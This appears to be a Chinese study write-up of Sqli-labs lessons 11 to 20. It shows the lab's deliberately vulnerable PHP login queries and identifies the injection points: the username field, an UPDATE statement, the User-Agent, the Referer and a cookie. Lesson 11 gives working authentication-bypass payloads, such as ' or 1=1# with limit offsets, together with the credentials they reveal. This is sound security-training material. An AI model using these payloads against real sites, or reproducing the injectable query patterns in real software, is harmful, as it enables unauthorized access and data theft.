Sqli-labs Less11
源码
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
正常回显
else:
print_r(mysql_error());
- 请求方式— POST
- 包裹方式— uname=‘admin’
- 注入类型— 联合、报错、布尔盲注、延时
GET型和POST型
注入点位置不同而已, 其他方法都是一样的
不过POST稍微麻烦点 得加上个抓包的步骤
输入 user:admin password:admin
请求如下:
POST /Less-11/ HTTP/1.1
Host: 127.0.0.1:4000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://127.0.0.1:4000
Connection: close
Referer: http://127.0.0.1:4000/Less-11/
Upgrade-Insecure-Requests: 1
uname=admin&passwd=admin&submit=Submit
登陆绕过
这边包含一个最简单的登陆绕过知识点
之前看大黑书WAHH的时候就学到过
还做过portswigger自己靶场的一道题
WAHH page 288-289
lab: https://portswigger.net/web-security/sql-injection/lab-login-bypass
看看源码就可以知道, 我们可以轻松地把password注释掉, 如下:
uname=admin'#&passwd=admin&submit=Submit
不过要注意! data里面不能用+,所以不能用–+,这边可以用#来代替,也可以手动加空格
但只有已知一个用户名的情况下可以做到, 如果不知道任何用户名呢?
OR 一个永真条件就是了, 如下:
uname=' or 1=1#&passwd=admin&submit=Submit
此时返回的是全部字段,可以添加limit 0,1逐个偏移来换账户,如下:
uname=' or 1=1 limit 0,1#&passwd=admin&submit=Submit
回显:
Your Login name:Dumb
Your Password:Dumb
uname=' or 1=1 limit 1,1#&passwd=admin&submit=Submit
回显:
Your Login name:Angelina
Your Password:I-kill-you
接下来联合、报错、布尔盲注、延时常规操作与less-1相同
Sqli-labs Less12
- 请求方式— POST
- 包裹方式— uname=(‘admin’)
- 注入类型— 联合、报错、布尔盲注、延时
与less-11相仿
联合、报错、布尔盲注、延时常规操作与less-1相同
Sqli-labs Less13
源码
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
if true:
没有回显
else:
print_r(mysql_error());
- 请求方式— POST
- 包裹方式— uname=(‘admin’)
- 注入类型— 报错、布尔盲注、延时
报错、布尔盲注、延时常规操作与less-1相同
Sqli-labs Less14
- 请求方式— POST
- 包裹方式— uname=”admin”
- 注入类型— 报错、布尔盲注、延时
与less-13相仿
报错、布尔盲注、延时常规操作与less-1相同
Sqli-labs Less15
源码
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
正常回显
else:
没有回显
- 请求方式— POST
- 包裹方式— uname=’admin’
- 注入类型— 布尔盲注、延时
布尔盲注、延时常规操作与less-1相同
Sqli-labs Less16
- 请求方式— POST
- 包裹方式— uname=(“admin”)
- 注入类型— 布尔盲注、延时
与less-15相仿
布尔盲注、延时常规操作与less-1相同
Sqli-labs Less17
源码
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
if uname ture:
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
if error:
print_r(mysql_error());
else:
正常回显
else:
bug off you silly dumb hacker
- 请求方式— POST
- 包裹方式— uname=’admin’
- 注入类型— 报错、布尔盲注、延时
uname的输入被检查了,不可注入
注入点在update语句
报错、布尔盲注、延时常规操作与less-1相同
Sqli-labs Less18
源码
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
if 有uname和passwd输入:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
if true:
回显ua
print_r(mysql_error());
else
print_r(mysql_error());
- 请求方式— POST
- 包裹方式— uname=(‘admin’)
- 注入类型— 报错、布尔盲注、延时
uname和passwd都被检查了,不可注入
注入点在UA
PHP 里用来获取客户端 IP 的变量
$_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。
$_SERVER['HTTP_X_FORWARDED_FOR'] ,客户端可以伪造。
$_SERVER['REMOTE_ADDR'] ,客户端不能伪造
报错、布尔盲注、延时常规操作与less-1相同
Sqli-labs Less19
源码
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
if 输入了uname 和 passwd:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if true:
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
回显referer
print_r(mysql_error());
else:
print_r(mysql_error());
- 请求方式— POST
- 包裹方式— uname=’admin’
- 注入类型— 报错、布尔盲注、延时
注入点在referer
报错、布尔盲注、延时常规操作与less-1相同
Sqli-labs Less20
源码
if cookie 中不存在 uname 参数:
回显一些东东
if 输入了uname 和 passwd:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if true:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error());
else:
if POST 数据里面没有 submit 参数:
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 报错:
输出 mysql_error()
if true:
正常回显
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $row1['username'], time()-3600);
- 请求方式— POST
- 包裹方式— uname=’admin’
- 注入类型— 联合、报错、布尔盲注、延时
注入点在cookie
联合、报错、布尔盲注、延时常规操作与less-1相同